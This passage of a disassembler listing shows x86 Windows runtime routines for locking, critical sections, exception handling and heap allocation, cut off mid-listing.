sub_41B7E0+3Ej ; sub_41B7E0+4Bj pop edi pop esi pop ebx pop ebp retn sub_41B7E0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jnz short loc_41B896 push 0 call sub_41B9F0 add esp, 4 jmp short loc_41B8C0 ; --------------------------------------------------------------------------- loc_41B896: ; CODE XREF: .data:0041B888j mov eax, [ebp+8] push eax call sub_41AE20 add esp, 4 mov ecx, [ebp+8] push ecx call sub_41B8D0 add esp, 4 mov [ebp-4], eax mov edx, [ebp+8] push edx call sub_41AE90 add esp, 4 mov eax, [ebp-4] loc_41B8C0: ; CODE XREF: .data:0041B894j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B8D0 proc near ; CODE XREF: .data:0041B8A6p ; sub_41B9F0+B1p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_41B920 add esp, 4 test eax, eax jz short loc_41B8E8 or eax, 0FFFFFFFFh jmp short loc_41B90F ; --------------------------------------------------------------------------- loc_41B8E8: ; CODE XREF: sub_41B8D0+11j mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 4000h test edx, edx jz short loc_41B90D mov eax, [ebp+arg_0] mov ecx, [eax+10h] push ecx call sub_429A80 add esp, 4 neg eax sbb eax, eax jmp short loc_41B90F ; --------------------------------------------------------------------------- loc_41B90D: ; CODE XREF: sub_41B8D0+26j xor eax, eax loc_41B90F: ; CODE XREF: sub_41B8D0+16j ; sub_41B8D0+3Bj pop ebp retn sub_41B8D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B920 proc near ; CODE XREF: sub_414FD0+53p ; sub_41A040+A2p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 3 cmp edx, 2 jnz short loc_41B9BB mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 108h test ecx, ecx jz short loc_41B9BB mov edx, [ebp+var_8] mov eax, [ebp+var_8] mov ecx, [edx] sub ecx, [eax+8] mov [ebp+var_C], ecx cmp [ebp+var_C], 0 jle short loc_41B9BB mov edx, [ebp+var_C] push edx mov eax, [ebp+var_8] mov ecx, [eax+8] push ecx mov edx, [ebp+var_8] mov eax, [edx+10h] push eax call sub_426840 add esp, 0Ch cmp eax, [ebp+var_C] jnz short loc_41B9A5 mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jz short loc_41B9A3 mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 0FFFFFFFDh mov edx, [ebp+var_8] mov [edx+0Ch], ecx loc_41B9A3: ; CODE XREF: sub_41B920+72j jmp short loc_41B9BB ; --------------------------------------------------------------------------- loc_41B9A5: ; CODE XREF: sub_41B920+62j mov eax, [ebp+var_8] mov ecx, [eax+0Ch] or ecx, 20h mov edx, [ebp+var_8] mov [edx+0Ch], ecx mov [ebp+var_4], 0FFFFFFFFh loc_41B9BB: ; CODE XREF: sub_41B920+1Fj ; sub_41B920+2Fj ... mov eax, [ebp+var_8] mov ecx, [ebp+var_8] mov edx, [ecx+8] mov [eax], edx mov eax, [ebp+var_8] mov dword ptr [eax+4], 0 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41B920 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9E0 proc near ; CODE XREF: sub_41AE00+3p push ebp mov ebp, esp push 1 call sub_41B9F0 add esp, 4 pop ebp retn sub_41B9E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9F0 proc near ; CODE XREF: .data:0041B88Cp ; sub_41B9E0+5p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov [ebp+var_8], 0 push 2 call sub_41BC80 add esp, 4 mov [ebp+var_C], 0 jmp short loc_41BA20 ; --------------------------------------------------------------------------- loc_41BA17: ; CODE XREF: sub_41B9F0:loc_41BB0Ej mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_41BA20: ; CODE XREF: sub_41B9F0+25j mov ecx, [ebp+var_C] cmp ecx, dword_4DF680 jge loc_41BB13 mov edx, [ebp+var_C] mov eax, dword_4DE674 cmp dword ptr [eax+edx*4], 0 jz loc_41BB0E mov ecx, [ebp+var_C] mov edx, dword_4DE674 mov eax, [edx+ecx*4] mov ecx, [eax+0Ch] and ecx, 83h test ecx, ecx jz loc_41BB0E mov edx, [ebp+var_C] mov eax, dword_4DE674 mov ecx, [eax+edx*4] push ecx mov edx, [ebp+var_C] push edx call sub_41AE60 add esp, 8 mov eax, [ebp+var_C] mov ecx, dword_4DE674 mov edx, [ecx+eax*4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_41BAF5 cmp [ebp+arg_0], 1 jnz short loc_41BAB9 mov ecx, [ebp+var_C] mov edx, dword_4DE674 mov eax, [edx+ecx*4] push eax call sub_41B8D0 add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_41BAB7 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_41BAB7: ; CODE XREF: sub_41B9F0+BCj jmp short loc_41BAF5 ; --------------------------------------------------------------------------- loc_41BAB9: ; CODE XREF: sub_41B9F0+A2j cmp [ebp+arg_0], 0 jnz short loc_41BAF5 mov edx, [ebp+var_C] mov eax, dword_4DE674 mov ecx, [eax+edx*4] mov edx, [ecx+0Ch] and edx, 2 test edx, edx jz short loc_41BAF5 mov eax, [ebp+var_C] mov ecx, dword_4DE674 mov edx, [ecx+eax*4] push edx call sub_41B8D0 add esp, 4 cmp eax, 0FFFFFFFFh jnz short loc_41BAF5 mov [ebp+var_8], 0FFFFFFFFh loc_41BAF5: ; CODE XREF: sub_41B9F0+9Cj ; sub_41B9F0:loc_41BAB7j ... mov eax, [ebp+var_C] mov ecx, dword_4DE674 mov edx, [ecx+eax*4] push edx mov eax, [ebp+var_C] push eax call sub_41AED0 add esp, 8 loc_41BB0E: ; CODE XREF: sub_41B9F0+4Bj ; sub_41B9F0+68j jmp loc_41BA17 ; --------------------------------------------------------------------------- loc_41BB13: ; CODE XREF: sub_41B9F0+39j push 2 call sub_41BD20 add esp, 4 cmp [ebp+arg_0], 1 jnz short loc_41BB28 mov eax, [ebp+var_4] jmp short loc_41BB2B ; --------------------------------------------------------------------------- loc_41BB28: ; CODE XREF: sub_41B9F0+131j mov eax, [ebp+var_8] loc_41BB2B: ; CODE XREF: sub_41B9F0+136j mov esp, ebp pop ebp retn sub_41B9F0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push 9 call sub_41BC80 add esp, 4 mov eax, dword_4DDFE8 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_4DDFE8, ecx push 9 call sub_41BD20 add esp, 4 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, dword_4DDFE8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB70 proc near ; CODE XREF: sub_415110+7Dp ; sub_41BE60+41p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DDFE8 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41BB90 mov ecx, [ebp+arg_0] push ecx call [ebp+var_4] add esp, 4 test eax, eax jnz short loc_41BB94 loc_41BB90: ; CODE XREF: sub_41BB70+10j xor eax, eax jmp short loc_41BB99 ; --------------------------------------------------------------------------- loc_41BB94: ; CODE XREF: sub_41BB70+1Ej mov eax, 1 loc_41BB99: ; CODE XREF: sub_41BB70+22j mov esp, ebp pop ebp retn sub_41BB70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBA0 proc near ; CODE XREF: sub_421840+4p push ebp mov ebp, esp mov eax, off_4451C4 push eax call dword_4E0470 ; InitializeCriticalSection mov ecx, off_4451B4 push ecx call dword_4E0470 ; InitializeCriticalSection mov edx, off_4451A4 push edx call dword_4E0470 ; InitializeCriticalSection mov eax, off_445184 push eax call dword_4E0470 ; InitializeCriticalSection pop ebp retn sub_41BBA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBE0 proc near ; CODE XREF: .data:004218D3p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_41BBF6 ; --------------------------------------------------------------------------- loc_41BBED: ; CODE XREF: sub_41BBE0:loc_41BC47j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_41BBF6: ; CODE XREF: sub_41BBE0+Bj cmp [ebp+var_4], 30h jge short loc_41BC49 mov ecx, [ebp+var_4] cmp dword_445180[ecx*4], 0 jz short loc_41BC47 cmp [ebp+var_4], 11h jz short loc_41BC47 cmp [ebp+var_4], 0Dh jz short loc_41BC47 cmp [ebp+var_4], 9 jz short loc_41BC47 cmp [ebp+var_4], 1 jz short loc_41BC47 mov edx, [ebp+var_4] mov eax, dword_445180[edx*4] push eax call dword_4E03B0 ; RtlDeleteCriticalSection push 2 mov ecx, [ebp+var_4] mov edx, dword_445180[ecx*4] push edx call sub_415C60 add esp, 8 loc_41BC47: ; CODE XREF: sub_41BBE0+27j ; sub_41BBE0+2Dj ... jmp short loc_41BBED ; --------------------------------------------------------------------------- loc_41BC49: ; CODE XREF: sub_41BBE0+1Aj mov eax, off_4451A4 push eax call dword_4E03B0 ; RtlDeleteCriticalSection mov ecx, off_4451B4 push ecx call dword_4E03B0 ; RtlDeleteCriticalSection mov edx, off_4451C4 push edx call dword_4E03B0 ; RtlDeleteCriticalSection mov eax, off_445184 push eax call dword_4E03B0 ; RtlDeleteCriticalSection mov esp, ebp pop ebp retn sub_41BBE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BC80 proc near ; CODE XREF: sub_415110+25p ; sub_4155B0+25p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp dword_445180[eax*4], 0 jnz short loc_41BD02 push 0E1h push offset aMlock_c ; "mlock.c" push 2 push 18h call sub_4150C0 add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41BCBA push 11h call sub_41AC70 add esp, 4 loc_41BCBA: ; CODE XREF: sub_41BC80+2Ej push 11h call sub_41BC80 add esp, 4 mov ecx, [ebp+arg_0] cmp dword_445180[ecx*4], 0 jnz short loc_41BCEA mov edx, [ebp+var_4] push edx call dword_4E0470 ; InitializeCriticalSection mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov dword_445180[eax*4], ecx jmp short loc_41BCF8 ; --------------------------------------------------------------------------- loc_41BCEA: ; CODE XREF: sub_41BC80+4Fj push 2 mov edx, [ebp+var_4] push edx call sub_415C60 add esp, 8 loc_41BCF8: ; CODE XREF: sub_41BC80+68j push 11h call sub_41BD20 add esp, 4 loc_41BD02: ; CODE XREF: sub_41BC80+Fj mov eax, [ebp+arg_0] mov ecx, dword_445180[eax*4] push ecx call dword_4E03A8 ; RtlEnterCriticalSection mov esp, ebp pop ebp retn sub_41BC80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BD20 proc near ; CODE XREF: sub_41516D+2p ; sub_415613+2p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, dword_445180[eax*4] push ecx call dword_4E03A4 ; RtlLeaveCriticalSection pop ebp retn sub_41BD20 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] push eax push 0 call dword_4E0474 ; FatalAppExitA push 0FFh call dword_4E0328 ; ExitProcess pop ebp retn ; --------------------------------------------------------------------------- push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BD64 proc near ; DATA XREF: sub_415110+Ao ; sub_4155B0+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_41BE04 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_41BD97: ; CODE XREF: sub_41BD64+90j cmp esi, 0FFFFFFFFh jz short loc_41BDFD lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_41BDEB push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_41BDEB js short loc_41BDF6 mov edi, [ebx+8] push ebx call sub_4190F0 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_419132 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_4191C6 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_41BDEB: ; CODE XREF: sub_41BD64+40j ; sub_41BD64+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_41BD97 ; --------------------------------------------------------------------------- loc_41BDF6: ; CODE XREF: sub_41BD64+54j mov eax, 0 jmp short loc_41BE19 ; --------------------------------------------------------------------------- loc_41BDFD: ; CODE XREF: sub_41BD64+36j mov eax, 1 jmp short loc_41BE19 ; --------------------------------------------------------------------------- loc_41BE04: ; CODE XREF: sub_41BD64+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_419132 add esp, 8 pop ebp mov eax, 1 loc_41BE19: ; CODE XREF: sub_41BD64+97j ; sub_41BD64+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41BD64 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_419132 add esp, 8 pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE40 proc near ; CODE XREF: sub_41C230+33p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DDFE4 push eax mov ecx, [ebp+arg_0] push ecx call sub_41BE60 add esp, 8 mov [ebp+var_4], eax mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41BE40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE60 proc near ; CODE XREF: sub_41BE40+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFFFE0h jbe short loc_41BE6E xor eax, eax jmp short loc_41BEB3 ; --------------------------------------------------------------------------- loc_41BE6E: ; CODE XREF: sub_41BE60+8j ; sub_41BE60:loc_41BEB1j cmp [ebp+arg_0], 0FFFFFFE0h ja short loc_41BE85 mov eax, [ebp+arg_0] push eax call sub_41BEC0 add esp, 4 mov [ebp+var_4], eax jmp short loc_41BE8C ; --------------------------------------------------------------------------- loc_41BE85: ; CODE XREF: sub_41BE60+12j mov [ebp+var_4], 0 loc_41BE8C: ; CODE XREF: sub_41BE60+23j cmp [ebp+var_4], 0 jnz short loc_41BE98 cmp [ebp+arg_4], 0 jnz short loc_41BE9D loc_41BE98: ; CODE XREF: sub_41BE60+30j mov eax, [ebp+var_4] jmp short loc_41BEB3 ; --------------------------------------------------------------------------- loc_41BE9D: ; CODE XREF: sub_41BE60+36j mov ecx, [ebp+arg_0] push ecx call sub_41BB70 add esp, 4 test eax, eax jnz short loc_41BEB1 xor eax, eax jmp short loc_41BEB3 ; --------------------------------------------------------------------------- loc_41BEB1: ; CODE XREF: sub_41BE60+4Bj jmp short loc_41BE6E ; --------------------------------------------------------------------------- loc_41BEB3: ; CODE XREF: sub_41BE60+Cj ; sub_41BE60+3Bj ... mov esp, ebp pop ebp retn sub_41BE60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BEC0 proc near ; CODE XREF: sub_4151D0+19Dp ; sub_41BE60+18p var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0041BF30 SIZE 00000077 BYTES ; FUNCTION CHUNK AT 0041BFB2 SIZE 0000005B BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_434FD0 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi cmp dword_4DE64C, 3 jnz short loc_41BF43 mov eax, [ebp+arg_0] cmp eax, dword_4DE66C ja short loc_41BF3E push 9 call sub_41BC80 add esp, 4 mov [ebp+var_4], 0 mov ecx, [ebp+arg_0] push ecx call sub_41D190 add esp, 4 mov [ebp+var_1C], eax mov [ebp+var_4], 0FFFFFFFFh call sub_41BF25 jmp short loc_41BF30 sub_41BEC0 endp ; =============== S U B R O U T I N E ======================================= sub_41BF25 proc near ; CODE XREF: sub_41BEC0+5Ep ; DATA XREF: .data:00434FD8o push 9 call sub_41BD20 add esp, 4 retn sub_41BF25 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41BEC0 loc_41BF30: ; CODE XREF: sub_41BEC0+63j cmp [ebp+var_1C], 0 jz short loc_41BF3E mov eax, [ebp+var_1C] jmp loc_41BFFC ; --------------------------------------------------------------------------- loc_41BF3E: ; CODE XREF: sub_41BEC0+35j ; sub_41BEC0+74j jmp loc_41BFD1 ; --------------------------------------------------------------------------- loc_41BF43: ; CODE XREF: sub_41BEC0+2Aj cmp dword_4DE64C, 2 jnz loc_41BFD1 cmp [ebp+arg_0], 0 jz short loc_41BF64 mov edx, [ebp+arg_0] add edx, 0Fh and edx, 0FFFFFFF0h mov [ebp+arg_0], edx jmp short loc_41BF6B ; --------------------------------------------------------------------------- loc_41BF64: ; CODE XREF: sub_41BEC0+94j mov [ebp+arg_0], 10h loc_41BF6B: ; CODE XREF: sub_41BEC0+A2j mov eax, [ebp+arg_0] cmp eax, dword_44726C ja short loc_41BFBD push 9 call sub_41BC80 add esp, 4 mov [ebp+var_4], 1 mov ecx, [ebp+arg_0] shr ecx, 4 push ecx call sub_41EC10 add esp, 4 mov [ebp+var_1C], eax mov [ebp+var_4], 0FFFFFFFFh call sub_41BFA7 jmp short loc_41BFB2 ; END OF FUNCTION CHUNK FOR sub_41BEC0 ; =============== S U B R O U T I N E ======================================= sub_41BFA7 proc near ; CODE XREF: sub_41BEC0+E0p ; DATA XREF: .data:00434FE4o push 9 call sub_41BD20 add esp, 4 retn sub_41BFA7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41BEC0 loc_41BFB2: ; CODE XREF: sub_41BEC0+E5j cmp [ebp+var_1C], 0 jz short loc_41BFBD mov eax, [ebp+var_1C] jmp short loc_41BFFC ; --------------------------------------------------------------------------- loc_41BFBD: ; CODE XREF: sub_41BEC0+B4j ; sub_41BEC0+F6j mov edx, [ebp+arg_0] push edx push 0 mov eax, dword_4DE648 push eax call dword_4E0478 ; RtlAllocateHeap jmp short loc_41BFFC ; --------------------------------------------------------------------------- loc_41BFD1: ; CODE XREF: sub_41BEC0:loc_41BF3Ej ; sub_41BEC0+8Aj cmp [ebp+arg_0], 0 jnz short loc_41BFDE mov [ebp+arg_0], 1 loc_41BFDE: ; CODE XREF: sub_41BEC0+115j mov ecx, [ebp+arg_0] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+arg_0], ecx mov edx, [ebp+arg_0] push edx push 0 mov eax, dword_4DE648 push eax call dword_4E0478 ; RtlAllocateHeap loc_41BFFC: ; CODE XREF: sub_41BEC0+79j ; sub_41BEC0+FBj ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_41BEC0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C010 proc near ; CODE XREF: sub_4151D0+79p ; sub_415640+C1p ... push ebp mov ebp, esp mov eax, 1 pop ebp retn sub_41C010 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C020 proc near ; CODE XREF: sub_415640+2D4p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0041C0CC SIZE 000000EE BYTES ; FUNCTION CHUNK AT 0041C1C5 SIZE 00000068 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_434FE8 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE0h push ebx push esi push edi cmp [ebp+arg_4], 0FFFFFFE0h jbe short loc_41C050 xor eax, eax jmp loc_41C21C ; --------------------------------------------------------------------------- loc_41C050: ; CODE XREF: sub_41C020+27j cmp dword_4DE64C, 3 jnz loc_41C108 push 9 call sub_41BC80 add esp, 4 mov [ebp+var_4], 0 mov eax, [ebp+arg_0] push eax call sub_41CAF0 add esp, 4 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_41C0B3 mov [ebp+var_1C], 0 mov ecx, [ebp+arg_4] cmp ecx, dword_4DE66C ja short loc_41C0B3 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_20] push ecx call sub_41D9D0 add esp, 0Ch test eax, eax jz short loc_41C0B3 mov edx, [ebp+arg_0] mov [ebp+var_1C], edx loc_41C0B3: ; CODE XREF: sub_41C020+61j ; sub_41C020+73j ... mov [ebp+var_4], 0FFFFFFFFh call sub_41C0C1 jmp short loc_41C0CC sub_41C020 endp ; =============== S U B R O U T I N E ======================================= sub_41C0C1 proc near ; CODE XREF: sub_41C020+9Ap ; DATA XREF: .data:00434FF0o push 9 call sub_41BD20 add esp, 4 retn sub_41C0C1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C020 loc_41C0CC: ; CODE XREF: sub_41C020+9Fj cmp [ebp+var_20], 0 jnz short loc_41C103 cmp [ebp+arg_4], 0 jnz short loc_41C0DF mov [ebp+arg_4], 1 loc_41C0DF: ; CODE XREF: sub_41C020+B6j mov eax, [ebp+arg_4] add eax, 0Fh and al, 0F0h mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx push 10h mov eax, dword_4DE648 push eax call dword_4E047C ; RtlReAllocateHeap mov [ebp+var_1C], eax loc_41C103: ; CODE XREF: sub_41C020+B0j jmp loc_41C219 ; --------------------------------------------------------------------------- loc_41C108: ; CODE XREF: sub_41C020+37j cmp dword_4DE64C, 2 jnz loc_41C1E6 cmp [ebp+arg_4], 0 jnz short loc_41C122 mov [ebp+arg_4], 1 loc_41C122: ; CODE XREF: sub_41C020+F9j mov ecx, [ebp+arg_4] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+arg_4], ecx push 9 call sub_41BC80 add esp, 4 mov [ebp+var_4], 1 lea edx, [ebp+var_24] push edx lea eax, [ebp+var_2C] push eax mov ecx, [ebp+arg_0] push ecx call sub_41EB10 add esp, 0Ch mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz short loc_41C1AC mov [ebp+var_1C], 0 mov edx, [ebp+arg_4] cmp edx, dword_44726C ja short loc_41C193 mov eax, [ebp+arg_4] shr eax, 4 push eax mov ecx, [ebp+var_28] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+var_2C] push eax call sub_41F280 add esp, 10h test eax, eax jz short loc_41C193 mov ecx, [ebp+arg_0] mov [ebp+var_1C], ecx loc_41C193: ; CODE XREF: sub_41C020+14Cj ; sub_41C020+16Bj push 0FFFFFFFFh mov edx, [ebp+var_1C] mov [ebp+var_30], edx lea eax, [ebp+var_10] push eax call sub_419132 add esp, 8 mov eax, [ebp+var_30] jmp short loc_41C21C ; --------------------------------------------------------------------------- loc_41C1AC: ; CODE XREF: sub_41C020+13Aj mov [ebp+var_4], 0FFFFFFFFh call sub_41C1BA jmp short loc_41C1C5 ; END OF FUNCTION CHUNK FOR sub_41C020 ; =============== S U B R O U T I N E ======================================= sub_41C1BA proc near ; CODE XREF: sub_41C020+193p ; DATA XREF: .data:00434FFCo push 9 call sub_41BD20 add esp, 4 retn sub_41C1BA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C020 loc_41C1C5: ; CODE XREF: sub_41C020+198j cmp [ebp+var_28], 0 jnz short loc_41C1E4 mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx push 10h mov eax, dword_4DE648 push eax call dword_4E047C ; RtlReAllocateHeap mov [ebp+var_1C], eax loc_41C1E4: ; CODE XREF: sub_41C020+1A9j jmp short loc_41C219 ; --------------------------------------------------------------------------- loc_41C1E6: ; CODE XREF: sub_41C020+EFj cmp [ebp+arg_4], 0 jnz short loc_41C1F3 mov [ebp+arg_4], 1 loc_41C1F3: ; CODE XREF: sub_41C020+1CAj mov ecx, [ebp+arg_4] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax push 10h mov ecx, dword_4DE648 push ecx call dword_4E047C ; RtlReAllocateHeap mov [ebp+var_1C], eax loc_41C219: ; CODE XREF: sub_41C020:loc_41C103j ; sub_41C020:loc_41C1E4j mov eax, [ebp+var_1C] loc_41C21C: ; CODE XREF: sub_41C020+2Bj ; sub_41C020+18Aj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_41C020 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C230 proc near ; CODE XREF: sub_415640+2AFp var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0041C403 SIZE 0000020C BYTES ; FUNCTION CHUNK AT 0041C61A SIZE 000000A9 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_435000 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFC8h push ebx push esi push edi mov eax, [ebp+arg_4] mov [ebp+var_1C], eax cmp [ebp+arg_0], 0 jnz short loc_41C270 mov ecx, [ebp+arg_4] push ecx call sub_41BE40 add esp, 4 jmp loc_41C6B2 ; --------------------------------------------------------------------------- loc_41C270: ; CODE XREF: sub_41C230+2Dj cmp [ebp+arg_4], 0 jnz short loc_41C289 mov edx, [ebp+arg_0] push edx call sub_41C6D0 add esp, 4 xor eax, eax jmp loc_41C6B2 ; --------------------------------------------------------------------------- loc_41C289: ; CODE XREF: sub_41C230+44j cmp dword_4DE64C, 3 jnz loc_41C46F loc_41C296: ; CODE XREF: sub_41C230:loc_41C46Aj mov [ebp+var_24], 0 cmp [ebp+arg_4], 0FFFFFFE0h ja loc_41C43C push 9 call sub_41BC80 add esp, 4 mov [ebp+var_4], 0 mov eax, [ebp+arg_0] push eax call sub_41CAF0 add esp, 4 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz loc_41C3EA mov ecx, [ebp+arg_4] cmp ecx, dword_4DE66C ja loc_41C36A mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_28] push ecx call sub_41D9D0 add esp, 0Ch test eax, eax jz short loc_41C300 mov edx, [ebp+arg_0] mov [ebp+var_24], edx jmp short loc_41C36A ; --------------------------------------------------------------------------- loc_41C300: ; CODE XREF: sub_41C230+C6j mov eax, [ebp+arg_4] push eax call sub_41D190 add esp, 4 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_41C36A mov ecx, [ebp+arg_0] mov edx, [ecx-4] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+var_20] cmp eax, [ebp+arg_4] jnb short loc_41C331 mov ecx, [ebp+var_20] mov [ebp+var_3C], ecx jmp short loc_41C337 ; --------------------------------------------------------------------------- loc_41C331: ; CODE XREF: 